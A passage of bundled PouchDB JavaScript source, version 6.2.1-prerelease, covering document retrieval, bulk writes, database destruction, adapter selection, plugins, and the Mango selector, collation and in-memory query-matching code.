(leaf) { return leaf.rev; }); finishOpenRevs(); }); } else { if (Array.isArray(opts.open_revs)) { leaves = opts.open_revs; for (var i = 0; i < leaves.length; i++) { var l = leaves[i]; // looks like it's the only thing couchdb checks if (!(typeof (l) === "string" && /^\d+-/.test(l))) { return cb(createError(INVALID_REV)); } } finishOpenRevs(); } else { return cb(createError(UNKNOWN_ERROR, 'function_clause')); } } return; // open_revs does not like other options } return this._get(id, opts, function (err, result) { if (err) { err.docId = id; return cb(err); } var doc = result.doc; var metadata = result.metadata; var ctx = result.ctx; if (opts.conflicts) { var conflicts = collectConflicts(metadata); if (conflicts.length) { doc._conflicts = conflicts; } } if (isDeleted(metadata, doc._rev)) { doc._deleted = true; } if (opts.revs || opts.revs_info) { var splittedRev = doc._rev.split('-'); var revNo = parseInt(splittedRev[0], 10); var revHash = splittedRev[1]; var paths = rootToLeaf(metadata.rev_tree); var path = null; for (var i = 0; i < paths.length; i++) { var currentPath = paths[i]; var hashIndex = currentPath.ids.map(function (x) { return x.id; }) .indexOf(revHash); var hashFoundAtRevPos = hashIndex === (revNo - 1); if (hashFoundAtRevPos || (!path && hashIndex !== -1)) { path = currentPath; } } var indexOfRev = path.ids.map(function (x) { return x.id; }) .indexOf(doc._rev.split('-')[1]) + 1; var howMany = path.ids.length - indexOfRev; path.ids.splice(indexOfRev, howMany); path.ids.reverse(); if (opts.revs) { doc._revisions = { start: (path.pos + path.ids.length) - 1, ids: path.ids.map(function (rev$$1) { return rev$$1.id; }) }; } if (opts.revs_info) { var pos = path.pos + path.ids.length; doc._revs_info = path.ids.map(function (rev$$1) { pos--; return { rev: pos + '-' + rev$$1.id, status: rev$$1.opts.status }; }); } } if (opts.attachments && doc._attachments) { var attachments = doc._attachments; var count = Object.keys(attachments).length; if (count === 0) { return cb(null, doc); } Object.keys(attachments).forEach(function (key) { this._getAttachment(doc._id, key, attachments[key], { // Previously the revision handling was done in adapter.js // getAttachment, however since idb-next doesnt we need to // pass the rev through rev: doc._rev, binary: opts.binary, ctx: ctx }, function (err, data) { var att = doc._attachments[key]; att.data = data; delete att.stub; delete att.length; if (!--count) { cb(null, doc); } }); }, self); } else { if (doc._attachments) { for (var key in doc._attachments) { /* istanbul ignore else */ if (doc._attachments.hasOwnProperty(key)) { doc._attachments[key].stub = true; } } } cb(null, doc); } }); }); // TODO: I dont like this, it forces an extra read for every // attachment read and enforces a confusing api between // adapter.js and the adapter implementation AbstractPouchDB.prototype.getAttachment = adapterFun('getAttachment', function (docId, attachmentId, opts, callback) { var self = this; if (opts instanceof Function) { callback = opts; opts = {}; } this._get(docId, opts, function (err, res) { if (err) { return callback(err); } if (res.doc._attachments && res.doc._attachments[attachmentId]) { opts.ctx = res.ctx; opts.binary = true; self._getAttachment(docId, attachmentId, res.doc._attachments[attachmentId], opts, callback); } else { return callback(createError(MISSING_DOC)); } }); }); AbstractPouchDB.prototype.allDocs = adapterFun('allDocs', function (opts, callback) { if (typeof opts === 'function') { callback = opts; opts = {}; } opts.skip = typeof opts.skip !== 'undefined' ? opts.skip : 0; if (opts.start_key) { opts.startkey = opts.start_key; } if (opts.end_key) { opts.endkey = opts.end_key; } if ('keys' in opts) { if (!Array.isArray(opts.keys)) { return callback(new TypeError('options.keys must be an array')); } var incompatibleOpt = ['startkey', 'endkey', 'key'].filter(function (incompatibleOpt) { return incompatibleOpt in opts; })[0]; if (incompatibleOpt) { callback(createError(QUERY_PARSE_ERROR, 'Query parameter `' + incompatibleOpt + '` is not compatible with multi-get' )); return; } if (!isRemote(this)) { return allDocsKeysQuery(this, opts, callback); } } return this._allDocs(opts, callback); }); AbstractPouchDB.prototype.changes = function (opts, callback) { if (typeof opts === 'function') { callback = opts; opts = {}; } return new Changes$2(this, opts, callback); }; AbstractPouchDB.prototype.close = adapterFun('close', function (callback) { this._closed = true; this.emit('closed'); return this._close(callback); }); AbstractPouchDB.prototype.info = adapterFun('info', function (callback) { var self = this; this._info(function (err, info) { if (err) { return callback(err); } // assume we know better than the adapter, unless it informs us info.db_name = info.db_name || self.name; info.auto_compaction = !!(self.auto_compaction && !isRemote(self)); info.adapter = self.adapter; callback(null, info); }); }); AbstractPouchDB.prototype.id = adapterFun('id', function (callback) { return this._id(callback); }); /* istanbul ignore next */ AbstractPouchDB.prototype.type = function () { return (typeof this._type === 'function') ? this._type() : this.adapter; }; AbstractPouchDB.prototype.bulkDocs = adapterFun('bulkDocs', function (req, opts, callback) { if (typeof opts === 'function') { callback = opts; opts = {}; } opts = opts || {}; if (Array.isArray(req)) { req = { docs: req }; } if (!req || !req.docs || !Array.isArray(req.docs)) { return callback(createError(MISSING_BULK_DOCS)); } for (var i = 0; i < req.docs.length; ++i) { if (typeof req.docs[i] !== 'object' || Array.isArray(req.docs[i])) { return callback(createError(NOT_AN_OBJECT)); } } var attachmentError; req.docs.forEach(function (doc) { if (doc._attachments) { Object.keys(doc._attachments).forEach(function (name) { attachmentError = attachmentError || attachmentNameError(name); if (!doc._attachments[name].content_type) { guardedConsole('warn', 'Attachment', name, 'on document', doc._id, 'is missing content_type'); } }); } }); if (attachmentError) { return callback(createError(BAD_REQUEST, attachmentError)); } if (!('new_edits' in opts)) { if ('new_edits' in req) { opts.new_edits = req.new_edits; } else { opts.new_edits = true; } } var adapter = this; if (!opts.new_edits && !isRemote(adapter)) { // ensure revisions of the same doc are sorted, so that // the local adapter processes them correctly (#2935) req.docs.sort(compareByIdThenRev); } cleanDocs(req.docs); // in the case of conflicts, we want to return the _ids to the user // however, the underlying adapter may destroy the docs array, so // create a copy here var ids = req.docs.map(function (doc) { return doc._id; }); return this._bulkDocs(req, opts, function (err, res) { if (err) { return callback(err); } if (!opts.new_edits) { // this is what couch does when new_edits is false res = res.filter(function (x) { return x.error; }); } // add ids for error/conflict responses (not required for CouchDB) if (!isRemote(adapter)) { for (var i = 0, l = res.length; i < l; i++) { res[i].id = res[i].id || ids[i]; } } callback(null, res); }); }); AbstractPouchDB.prototype.registerDependentDatabase = adapterFun('registerDependentDatabase', function (dependentDb, callback) { var depDB = new this.constructor(dependentDb, this.__opts); function diffFun(doc) { doc.dependentDbs = doc.dependentDbs || {}; if (doc.dependentDbs[dependentDb]) { return false; // no update required } doc.dependentDbs[dependentDb] = true; return doc; } upsert(this, '_local/_pouch_dependentDbs', diffFun) .then(function () { callback(null, {db: depDB}); }).catch(callback); }); AbstractPouchDB.prototype.destroy = adapterFun('destroy', function (opts, callback) { if (typeof opts === 'function') { callback = opts; opts = {}; } var self = this; var usePrefix = 'use_prefix' in self ? self.use_prefix : true; function destroyDb() { // call destroy method of the particular adaptor self._destroy(opts, function (err, resp) { if (err) { return callback(err); } self._destroyed = true; self.emit('destroyed'); callback(null, resp || { 'ok': true }); }); } if (isRemote(self)) { // no need to check for dependent DBs if it's a remote DB return destroyDb(); } self.get('_local/_pouch_dependentDbs', function (err, localDoc) { if (err) { /* istanbul ignore if */ if (err.status !== 404) { return callback(err); } else { // no dependencies return destroyDb(); } } var dependentDbs = localDoc.dependentDbs; var PouchDB = self.constructor; var deletedMap = Object.keys(dependentDbs).map(function (name) { // use_prefix is only false in the browser /* istanbul ignore next */ var trueName = usePrefix ? name.replace(new RegExp('^' + PouchDB.prefix), '') : name; return new PouchDB(trueName, self.__opts).destroy(); }); PouchPromise$1.all(deletedMap).then(destroyDb, callback); }); }); function TaskQueue$1() { this.isReady = false; this.failed = false; this.queue = []; } TaskQueue$1.prototype.execute = function () { var fun; if (this.failed) { while ((fun = this.queue.shift())) { fun(this.failed); } } else { while ((fun = this.queue.shift())) { fun(); } } }; TaskQueue$1.prototype.fail = function (err) { this.failed = err; this.execute(); }; TaskQueue$1.prototype.ready = function (db) { this.isReady = true; this.db = db; this.execute(); }; TaskQueue$1.prototype.addTask = function (fun) { this.queue.push(fun); if (this.failed) { this.execute(); } }; function parseAdapter(name, opts) { var match = name.match(/([a-z-]*):\/\/(.*)/); if (match) { // the http adapter expects the fully qualified name return { name: /https?/.test(match[1]) ? match[1] + '://' + match[2] : match[2], adapter: match[1] }; } var adapters = PouchDB$5.adapters; var preferredAdapters = PouchDB$5.preferredAdapters; var prefix = PouchDB$5.prefix; var adapterName = opts.adapter; if (!adapterName) { // automatically determine adapter for (var i = 0; i < preferredAdapters.length; ++i) { adapterName = preferredAdapters[i]; // check for browsers that have been upgraded from websql-only to websql+idb /* istanbul ignore if */ if (adapterName === 'idb' && 'websql' in adapters && hasLocalStorage() && localStorage['_pouch__websqldb_' + prefix + name]) { // log it, because this can be confusing during development guardedConsole('log', 'PouchDB is downgrading "' + name + '" to WebSQL to' + ' avoid data loss, because it was already opened with WebSQL.'); continue; // keep using websql to avoid user data loss } break; } } var adapter = adapters[adapterName]; // if adapter is invalid, then an error will be thrown later var usePrefix = (adapter && 'use_prefix' in adapter) ? adapter.use_prefix : true; return { name: usePrefix ? (prefix + name) : name, adapter: adapterName }; } // OK, so here's the deal. Consider this code: // var db1 = new PouchDB('foo'); // var db2 = new PouchDB('foo'); // db1.destroy(); // ^ these two both need to emit 'destroyed' events, // as well as the PouchDB constructor itself. // So we have one db object (whichever one got destroy() called on it) // responsible for emitting the initial event, which then gets emitted // by the constructor, which then broadcasts it to any other dbs // that may have been created with the same name. function prepareForDestruction(self) { function onDestroyed(from_constructor) { self.removeListener('closed', onClosed); if (!from_constructor) { self.constructor.emit('destroyed', self.name); } } function onClosed() { self.removeListener('destroyed', onDestroyed); self.constructor.emit('unref', self); } self.once('destroyed', onDestroyed); self.once('closed', onClosed); self.constructor.emit('ref', self); } inherits(PouchDB$5, AbstractPouchDB); function PouchDB$5(name, opts) { // In Node our test suite only tests this for PouchAlt unfortunately /* istanbul ignore if */ if (!(this instanceof PouchDB$5)) { return new PouchDB$5(name, opts); } var self = this; opts = opts || {}; if (name && typeof name === 'object') { opts = name; name = opts.name; delete opts.name; } this.__opts = opts = clone(opts); self.auto_compaction = opts.auto_compaction; self.prefix = PouchDB$5.prefix; if (typeof name !== 'string') { throw new Error('Missing/invalid DB name'); } var prefixedName = (opts.prefix || '') + name; var backend = parseAdapter(prefixedName, opts); opts.name = backend.name; opts.adapter = opts.adapter || backend.adapter; self.name = name; self._adapter = opts.adapter; PouchDB$5.emit('debug', ['adapter', 'Picked adapter: ', opts.adapter]); if (!PouchDB$5.adapters[opts.adapter] || !PouchDB$5.adapters[opts.adapter].valid()) { throw new Error('Invalid Adapter: ' + opts.adapter); } AbstractPouchDB.call(self); self.taskqueue = new TaskQueue$1(); self.adapter = opts.adapter; PouchDB$5.adapters[opts.adapter].call(self, opts, function (err) { if (err) { return self.taskqueue.fail(err); } prepareForDestruction(self); self.emit('created', self); PouchDB$5.emit('created', self.name); self.taskqueue.ready(self); }); } PouchDB$5.adapters = {}; PouchDB$5.preferredAdapters = []; PouchDB$5.prefix = '_pouch_'; var eventEmitter = new events.EventEmitter(); function setUpEventEmitter(Pouch) { Object.keys(events.EventEmitter.prototype).forEach(function (key) { if (typeof events.EventEmitter.prototype[key] === 'function') { Pouch[key] = eventEmitter[key].bind(eventEmitter); } }); // these are created in constructor.js, and allow us to notify each DB with // the same name that it was destroyed, via the constructor object var destructListeners = Pouch._destructionListeners = new ExportedMap(); Pouch.on('ref', function onConstructorRef(db) { if (!destructListeners.has(db.name)) { destructListeners.set(db.name, []); } destructListeners.get(db.name).push(db); }); Pouch.on('unref', function onConstructorUnref(db) { if (!destructListeners.has(db.name)) { return; } var dbList = destructListeners.get(db.name); var pos = dbList.indexOf(db); if (pos < 0) { /* istanbul ignore next */ return; } dbList.splice(pos, 1); if (dbList.length > 1) { /* istanbul ignore next */ destructListeners.set(db.name, dbList); } else { destructListeners.delete(db.name); } }); Pouch.on('destroyed', function onConstructorDestroyed(name) { if (!destructListeners.has(name)) { return; } var dbList = destructListeners.get(name); destructListeners.delete(name); dbList.forEach(function (db) { db.emit('destroyed',true); }); }); } setUpEventEmitter(PouchDB$5); PouchDB$5.adapter = function (id, obj, addToPreferredAdapters) { /* istanbul ignore else */ if (obj.valid()) { PouchDB$5.adapters[id] = obj; if (addToPreferredAdapters) { PouchDB$5.preferredAdapters.push(id); } } }; PouchDB$5.plugin = function (obj) { if (typeof obj === 'function') { // function style for plugins obj(PouchDB$5); } else if (typeof obj !== 'object' || Object.keys(obj).length === 0) { throw new Error('Invalid plugin: got "' + obj + '", expected an object or a function'); } else { Object.keys(obj).forEach(function (id) { // object style for plugins PouchDB$5.prototype[id] = obj[id]; }); } if (this.__defaults) { PouchDB$5.__defaults = $inject_Object_assign({}, this.__defaults); } return PouchDB$5; }; PouchDB$5.defaults = function (defaultOpts) { function PouchAlt(name, opts) { if (!(this instanceof PouchAlt)) { return new PouchAlt(name, opts); } opts = opts || {}; if (name && typeof name === 'object') { opts = name; name = opts.name; delete opts.name; } opts = $inject_Object_assign({}, PouchAlt.__defaults, opts); PouchDB$5.call(this, name, opts); } inherits(PouchAlt, PouchDB$5); PouchAlt.preferredAdapters = PouchDB$5.preferredAdapters.slice(); Object.keys(PouchDB$5).forEach(function (key) { if (!(key in PouchAlt)) { PouchAlt[key] = PouchDB$5[key]; } }); // make default options transitive // https://github.com/pouchdb/pouchdb/issues/5922 PouchAlt.__defaults = $inject_Object_assign({}, this.__defaults, defaultOpts); return PouchAlt; }; // managed automatically by set-version.js var version = "6.2.1-prerelease"; function debugPouch(PouchDB) { PouchDB.debug = debug; var logs = {}; /* istanbul ignore next */ PouchDB.on('debug', function (args) { // first argument is log identifier var logId = args[0]; // rest should be passed verbatim to debug module var logArgs = args.slice(1); if (!logs[logId]) { logs[logId] = debug('pouchdb:' + logId); } logs[logId].apply(null, logArgs); }); } // this would just be "return doc[field]", but fields // can be "deep" due to dot notation function getFieldFromDoc(doc, parsedField) { var value = doc; for (var i = 0, len = parsedField.length; i < len; i++) { var key = parsedField[i]; value = value[key]; if (!value) { break; } } return value; } function compare$1(left, right) { return left < right ? -1 : left > right ? 1 : 0; } // Converts a string in dot notation to an array of its components, with backslash escaping function parseField(fieldName) { // fields may be deep (e.g. "foo.bar.baz"), so parse var fields = []; var current = ''; for (var i = 0, len = fieldName.length; i < len; i++) { var ch = fieldName[i]; if (ch === '.') { if (i > 0 && fieldName[i - 1] === '\\') { // escaped delimiter current = current.substring(0, current.length - 1) + '.'; } else { // not escaped, so delimiter fields.push(current); current = ''; } } else { // normal character current += ch; } } fields.push(current); return fields; } var combinationFields = ['$or', '$nor', '$not']; function isCombinationalField(field) { return combinationFields.indexOf(field) > -1; } function getKey(obj) { return Object.keys(obj)[0]; } function getValue(obj) { return obj[getKey(obj)]; } // flatten an array of selectors joined by an $and operator function mergeAndedSelectors(selectors) { // sort to ensure that e.g. if the user specified // $and: [{$gt: 'a'}, {$gt: 'b'}], then it's collapsed into // just {$gt: 'b'} var res = {}; selectors.forEach(function (selector) { Object.keys(selector).forEach(function (field) { var matcher = selector[field]; if (typeof matcher !== 'object') { matcher = {$eq: matcher}; } if (isCombinationalField(field)) { if (matcher instanceof Array) { res[field] = matcher.map(function (m) { return mergeAndedSelectors([m]); }); } else { res[field] = mergeAndedSelectors([matcher]); } } else { var fieldMatchers = res[field] = res[field] || {}; Object.keys(matcher).forEach(function (operator) { var value = matcher[operator]; if (operator === '$gt' || operator === '$gte') { return mergeGtGte(operator, value, fieldMatchers); } else if (operator === '$lt' || operator === '$lte') { return mergeLtLte(operator, value, fieldMatchers); } else if (operator === '$ne') { return mergeNe(value, fieldMatchers); } else if (operator === '$eq') { return mergeEq(value, fieldMatchers); } fieldMatchers[operator] = value; }); } }); }); return res; } // collapse logically equivalent gt/gte values function mergeGtGte(operator, value, fieldMatchers) { if (typeof fieldMatchers.$eq !== 'undefined') { return; // do nothing } if (typeof fieldMatchers.$gte !== 'undefined') { if (operator === '$gte') { if (value > fieldMatchers.$gte) { // more specificity fieldMatchers.$gte = value; } } else { // operator === '$gt' if (value >= fieldMatchers.$gte) { // more specificity delete fieldMatchers.$gte; fieldMatchers.$gt = value; } } } else if (typeof fieldMatchers.$gt !== 'undefined') { if (operator === '$gte') { if (value > fieldMatchers.$gt) { // more specificity delete fieldMatchers.$gt; fieldMatchers.$gte = value; } } else { // operator === '$gt' if (value > fieldMatchers.$gt) { // more specificity fieldMatchers.$gt = value; } } } else { fieldMatchers[operator] = value; } } // collapse logically equivalent lt/lte values function mergeLtLte(operator, value, fieldMatchers) { if (typeof fieldMatchers.$eq !== 'undefined') { return; // do nothing } if (typeof fieldMatchers.$lte !== 'undefined') { if (operator === '$lte') { if (value < fieldMatchers.$lte) { // more specificity fieldMatchers.$lte = value; } } else { // operator === '$gt' if (value <= fieldMatchers.$lte) { // more specificity delete fieldMatchers.$lte; fieldMatchers.$lt = value; } } } else if (typeof fieldMatchers.$lt !== 'undefined') { if (operator === '$lte') { if (value < fieldMatchers.$lt) { // more specificity delete fieldMatchers.$lt; fieldMatchers.$lte = value; } } else { // operator === '$gt' if (value < fieldMatchers.$lt) { // more specificity fieldMatchers.$lt = value; } } } else { fieldMatchers[operator] = value; } } // combine $ne values into one array function mergeNe(value, fieldMatchers) { if ('$ne' in fieldMatchers) { // there are many things this could "not" be fieldMatchers.$ne.push(value); } else { // doesn't exist yet fieldMatchers.$ne = [value]; } } // add $eq into the mix function mergeEq(value, fieldMatchers) { // these all have less specificity than the $eq // TODO: check for user errors here delete fieldMatchers.$gt; delete fieldMatchers.$gte; delete fieldMatchers.$lt; delete fieldMatchers.$lte; delete fieldMatchers.$ne; fieldMatchers.$eq = value; } // // normalize the selector // function massageSelector(input) { var result = clone(input); var wasAnded = false; if ('$and' in result) { result = mergeAndedSelectors(result['$and']); wasAnded = true; } ['$or', '$nor'].forEach(function (orOrNor) { if (orOrNor in result) { // message each individual selector // e.g. {foo: 'bar'} becomes {foo: {$eq: 'bar'}} result[orOrNor].forEach(function (subSelector) { var fields = Object.keys(subSelector); for (var i = 0; i < fields.length; i++) { var field = fields[i]; var matcher = subSelector[field]; if (typeof matcher !== 'object' || matcher === null) { subSelector[field] = {$eq: matcher}; } } }); } }); if ('$not' in result) { //This feels a little like forcing, but it will work for now, //I would like to come back to this and make the merging of selectors a little more generic result['$not'] = mergeAndedSelectors([result['$not']]); } var fields = Object.keys(result); for (var i = 0; i < fields.length; i++) { var field = fields[i]; var matcher = result[field]; if (typeof matcher !== 'object' || matcher === null) { matcher = {$eq: matcher}; } else if ('$ne' in matcher && !wasAnded) { // I put these in an array, since there may be more than one // but in the "mergeAnded" operation, I already take care of that matcher.$ne = [matcher.$ne]; } result[field] = matcher; } return result; } function pad(str, padWith, upToLength) { var padding = ''; var targetLength = upToLength - str.length; /* istanbul ignore next */ while (padding.length < targetLength) { padding += padWith; } return padding; } function padLeft(str, padWith, upToLength) { var padding = pad(str, padWith, upToLength); return padding + str; } var MIN_MAGNITUDE = -324; // verified by -Number.MIN_VALUE var MAGNITUDE_DIGITS = 3; // ditto var SEP = ''; // set to '_' for easier debugging function collate(a, b) { if (a === b) { return 0; } a = normalizeKey(a); b = normalizeKey(b); var ai = collationIndex(a); var bi = collationIndex(b); if ((ai - bi) !== 0) { return ai - bi; } switch (typeof a) { case 'number': return a - b; case 'boolean': return a < b ? -1 : 1; case 'string': return stringCollate(a, b); } return Array.isArray(a) ? arrayCollate(a, b) : objectCollate(a, b); } // couch considers null/NaN/Infinity/-Infinity === undefined, // for the purposes of mapreduce indexes. also, dates get stringified. function normalizeKey(key) { switch (typeof key) { case 'undefined': return null; case 'number': if (key === Infinity || key === -Infinity || isNaN(key)) { return null; } return key; case 'object': var origKey = key; if (Array.isArray(key)) { var len = key.length; key = new Array(len); for (var i = 0; i < len; i++) { key[i] = normalizeKey(origKey[i]); } /* istanbul ignore next */ } else if (key instanceof Date) { return key.toJSON(); } else if (key !== null) { // generic object key = {}; for (var k in origKey) { if (origKey.hasOwnProperty(k)) { var val = origKey[k]; if (typeof val !== 'undefined') { key[k] = normalizeKey(val); } } } } } return key; } function indexify(key) { if (key !== null) { switch (typeof key) { case 'boolean': return key ? 1 : 0; case 'number': return numToIndexableString(key); case 'string': // We've to be sure that key does not contain \u0000 // Do order-preserving replacements: // 0 -> 1, 1 // 1 -> 1, 2 // 2 -> 2, 2 return key .replace(/\u0002/g, '\u0002\u0002') .replace(/\u0001/g, '\u0001\u0002') .replace(/\u0000/g, '\u0001\u0001'); case 'object': var isArray = Array.isArray(key); var arr = isArray ? key : Object.keys(key); var i = -1; var len = arr.length; var result = ''; if (isArray) { while (++i < len) { result += toIndexableString(arr[i]); } } else { while (++i < len) { var objKey = arr[i]; result += toIndexableString(objKey) + toIndexableString(key[objKey]); } } return result; } } return ''; } // convert the given key to a string that would be appropriate // for lexical sorting, e.g. within a database, where the // sorting is the same given by the collate() function. function toIndexableString(key) { var zero = '\u0000'; key = normalizeKey(key); return collationIndex(key) + SEP + indexify(key) + zero; } function parseNumber(str, i) { var originalIdx = i; var num; var zero = str[i] === '1'; if (zero) { num = 0; i++; } else { var neg = str[i] === '0'; i++; var numAsString = ''; var magAsString = str.substring(i, i + MAGNITUDE_DIGITS); var magnitude = parseInt(magAsString, 10) + MIN_MAGNITUDE; /* istanbul ignore next */ if (neg) { magnitude = -magnitude; } i += MAGNITUDE_DIGITS; while (true) { var ch = str[i]; if (ch === '\u0000') { break; } else { numAsString += ch; } i++; } numAsString = numAsString.split('.'); if (numAsString.length === 1) { num = parseInt(numAsString, 10); } else { /* istanbul ignore next */ num = parseFloat(numAsString[0] + '.' + numAsString[1]); } /* istanbul ignore next */ if (neg) { num = num - 10; } /* istanbul ignore next */ if (magnitude !== 0) { // parseFloat is more reliable than pow due to rounding errors // e.g. Number.MAX_VALUE would return Infinity if we did // num * Math.pow(10, magnitude); num = parseFloat(num + 'e' + magnitude); } } return {num: num, length : i - originalIdx}; } // move up the stack while parsing // this function moved outside of parseIndexableString for performance function pop(stack, metaStack) { var obj = stack.pop(); if (metaStack.length) { var lastMetaElement = metaStack[metaStack.length - 1]; if (obj === lastMetaElement.element) { // popping a meta-element, e.g. an object whose value is another object metaStack.pop(); lastMetaElement = metaStack[metaStack.length - 1]; } var element = lastMetaElement.element; var lastElementIndex = lastMetaElement.index; if (Array.isArray(element)) { element.push(obj); } else if (lastElementIndex === stack.length - 2) { // obj with key+value var key = stack.pop(); element[key] = obj; } else { stack.push(obj); // obj with key only } } } function parseIndexableString(str) { var stack = []; var metaStack = []; // stack for arrays and objects var i = 0; /*eslint no-constant-condition: ["error", { "checkLoops": false }]*/ while (true) { var collationIndex = str[i++]; if (collationIndex === '\u0000') { if (stack.length === 1) { return stack.pop(); } else { pop(stack, metaStack); continue; } } switch (collationIndex) { case '1': stack.push(null); break; case '2': stack.push(str[i] === '1'); i++; break; case '3': var parsedNum = parseNumber(str, i); stack.push(parsedNum.num); i += parsedNum.length; break; case '4': var parsedStr = ''; /*eslint no-constant-condition: ["error", { "checkLoops": false }]*/ while (true) { var ch = str[i]; if (ch === '\u0000') { break; } parsedStr += ch; i++; } // perform the reverse of the order-preserving replacement // algorithm (see above) parsedStr = parsedStr.replace(/\u0001\u0001/g, '\u0000') .replace(/\u0001\u0002/g, '\u0001') .replace(/\u0002\u0002/g, '\u0002'); stack.push(parsedStr); break; case '5': var arrayElement = { element: [], index: stack.length }; stack.push(arrayElement.element); metaStack.push(arrayElement); break; case '6': var objElement = { element: {}, index: stack.length }; stack.push(objElement.element); metaStack.push(objElement); break; /* istanbul ignore next */ default: throw new Error( 'bad collationIndex or unexpectedly reached end of input: ' + collationIndex); } } } function arrayCollate(a, b) { var len = Math.min(a.length, b.length); for (var i = 0; i < len; i++) { var sort = collate(a[i], b[i]); if (sort !== 0) { return sort; } } return (a.length === b.length) ? 0 : (a.length > b.length) ? 1 : -1; } function stringCollate(a, b) { // See: https://github.com/daleharvey/pouchdb/issues/40 // This is incompatible with the CouchDB implementation, but its the // best we can do for now return (a === b) ? 0 : ((a > b) ? 1 : -1); } function objectCollate(a, b) { var ak = Object.keys(a), bk = Object.keys(b); var len = Math.min(ak.length, bk.length); for (var i = 0; i < len; i++) { // First sort the keys var sort = collate(ak[i], bk[i]); if (sort !== 0) { return sort; } // if the keys are equal sort the values sort = collate(a[ak[i]], b[bk[i]]); if (sort !== 0) { return sort; } } return (ak.length === bk.length) ? 0 : (ak.length > bk.length) ? 1 : -1; } // The collation is defined by erlangs ordered terms // the atoms null, true, false come first, then numbers, strings, // arrays, then objects // null/undefined/NaN/Infinity/-Infinity are all considered null function collationIndex(x) { var id = ['boolean', 'number', 'string', 'object']; var idx = id.indexOf(typeof x); //false if -1 otherwise true, but fast!!!!1 if (~idx) { if (x === null) { return 1; } if (Array.isArray(x)) { return 5; } return idx < 3 ? (idx + 2) : (idx + 3); } /* istanbul ignore next */ if (Array.isArray(x)) { return 5; } } // conversion: // x yyy zz...zz // x = 0 for negative, 1 for 0, 2 for positive // y = exponent (for negative numbers negated) moved so that it's >= 0 // z = mantisse function numToIndexableString(num) { if (num === 0) { return '1'; } // convert number to exponential format for easier and // more succinct string sorting var expFormat = num.toExponential().split(/e\+?/); var magnitude = parseInt(expFormat[1], 10); var neg = num < 0; var result = neg ? '0' : '2'; // first sort by magnitude // it's easier if all magnitudes are positive var magForComparison = ((neg ? -magnitude : magnitude) - MIN_MAGNITUDE); var magString = padLeft((magForComparison).toString(), '0', MAGNITUDE_DIGITS); result += SEP + magString; // then sort by the factor var factor = Math.abs(parseFloat(expFormat[0])); // [1..10) /* istanbul ignore next */ if (neg) { // for negative reverse ordering factor = 10 - factor; } var factorStr = factor.toFixed(20); // strip zeros from the end factorStr = factorStr.replace(/\.?0+$/, ''); result += SEP + factorStr; return result; } // create a comparator based on the sort object function createFieldSorter(sort) { function getFieldValuesAsArray(doc) { return sort.map(function (sorting) { var fieldName = getKey(sorting); var parsedField = parseField(fieldName); var docFieldValue = getFieldFromDoc(doc, parsedField); return docFieldValue; }); } return function (aRow, bRow) { var aFieldValues = getFieldValuesAsArray(aRow.doc); var bFieldValues = getFieldValuesAsArray(bRow.doc); var collation = collate(aFieldValues, bFieldValues); if (collation !== 0) { return collation; } // this is what mango seems to do return compare$1(aRow.doc._id, bRow.doc._id); }; } function filterInMemoryFields(rows, requestDef, inMemoryFields) { rows = rows.filter(function (row) { return rowFilter(row.doc, requestDef.selector, inMemoryFields); }); if (requestDef.sort) { // in-memory sort var fieldSorter = createFieldSorter(requestDef.sort); rows = rows.sort(fieldSorter); if (typeof requestDef.sort[0] !== 'string' && getValue(requestDef.sort[0]) === 'desc') { rows = rows.reverse(); } } if ('limit' in requestDef || 'skip' in requestDef) { // have to do the limit in-memory var skip = requestDef.skip || 0; var limit = ('limit' in requestDef ? requestDef.limit : rows.length) + skip; rows = rows.slice(skip, limit); } return rows; } function rowFilter(doc, selector, inMemoryFields) { return inMemoryFields.every(function (field) { var matcher = selector[field]; var parsedField = parseField(field); var docFieldValue = getFieldFromDoc(doc, parsedField); if (isCombinationalField(field)) { return matchCominationalSelector(field, matcher, doc); } return matchSelector(matcher, doc, parsedField, docFieldValue); }); } function matchSelector(matcher, doc, parsedField, docFieldValue) { if (!matcher) { // no filtering necessary; this field is just needed for sorting return true; } return Object.keys(matcher).every(function (userOperator) { var userValue = matcher[userOperator]; return match(userOperator, doc, userValue, parsedField, docFieldValue); }); } function matchCominationalSelector(field, matcher, doc) { if (field === '$or') { return matcher.some(function (orMatchers) { return rowFilter(doc, orMatchers, Object.keys(orMatchers)); }); } if (field === '$not') { return !rowFilter(doc, matcher, Object.keys(matcher)); } //`$nor` return !matcher.find(function (orMatchers) { return rowFilter(doc, orMatchers, Object.keys(orMatchers)); }); } function match(userOperator, doc, userValue, parsedField, docFieldValue) { if (!matchers[userOperator]) { throw new Error('unknown operator "' + userOperator + '" - should be one of $eq, $lte, $lt, $gt, $gte, $exists, $ne, $in, ' + '$nin, $size, $mod, $regex, $elemMatch, $type, $allMatch or $all'); } return matchers[userOperator](doc, userValue, parsedField, docFieldValue); } function fieldExists(docFieldValue) { return typeof docFieldValue !== 'undefined' && docFieldValue !== null; } function fieldIsNotUndefined(docFieldValue) { return typeof docFieldValue !== 'undefined'; } function modField(docFieldValue, userValue) { var divisor = userValue[0]; var mod = userValue[1]; if (divisor === 0) { throw new Error('Bad divisor, cannot divide by zero'); } if (parseInt(divisor, 10) !== divisor ) { throw new Error('Divisor is not an integer'); } if (parseInt(mod, 10) !== mod ) { throw new Error('Modulus is not an integer'); } if (parseInt(docFieldValue, 10) !== docFieldValue) { return false; } return docFieldValue % divisor === mod; } function arrayContainsValue(docFieldValue, userValue) { return userValue.some(function (val) { if (docFieldValue instanceof Array) { return docFieldValue.indexOf(val) > -1; } return docFieldValue === val; }); } function arrayContainsAllValues(docFieldValue, userValue) { return userValue.every(function (val) { return docFieldValue.indexOf(val) > -1; }); } function arraySize(docFieldValue, userValue) { return docFieldValue.length === userValue; } function regexMatch(docFieldValue, userValue) { var re = new RegExp(userValue); return re.test(docFieldValue); } function typeMatch(docFieldValue, userValue) { switch (userValue) { case 'null': return docFieldValue === null; case 'boolean': return typeof (docFieldValue) === 'boolean'; case 'number': return typeof (docFieldValue) === 'number'; case 'string': return typeof (docFieldValue) === 'string'; case 'array': return docFieldValue instanceof Array; case 'object': return ({}).toString.call(docFieldValue) === '[object Object]'; } throw new Error(userValue + ' not supported as a type.' + 'Please use one of object, string, array, number, boolean or null.'); } var matchers = { '$elemMatch': function (doc, userValue, parsedField, docFieldValue) { if (!Array.isArray(docFieldValue)) { return false; } if (docFieldValue.length === 0) { return false; } if (typeof docFieldValue[0] === 'object') { return docFieldValue.some(function (val) { return rowFilter(val, userValue, Object.keys(userValue)); }); } return docFieldValue.some(function (val) { return matchSelector(userValue, doc, parsedField, val); }); }, '$allMatch': function (doc, userValue, parsedField, 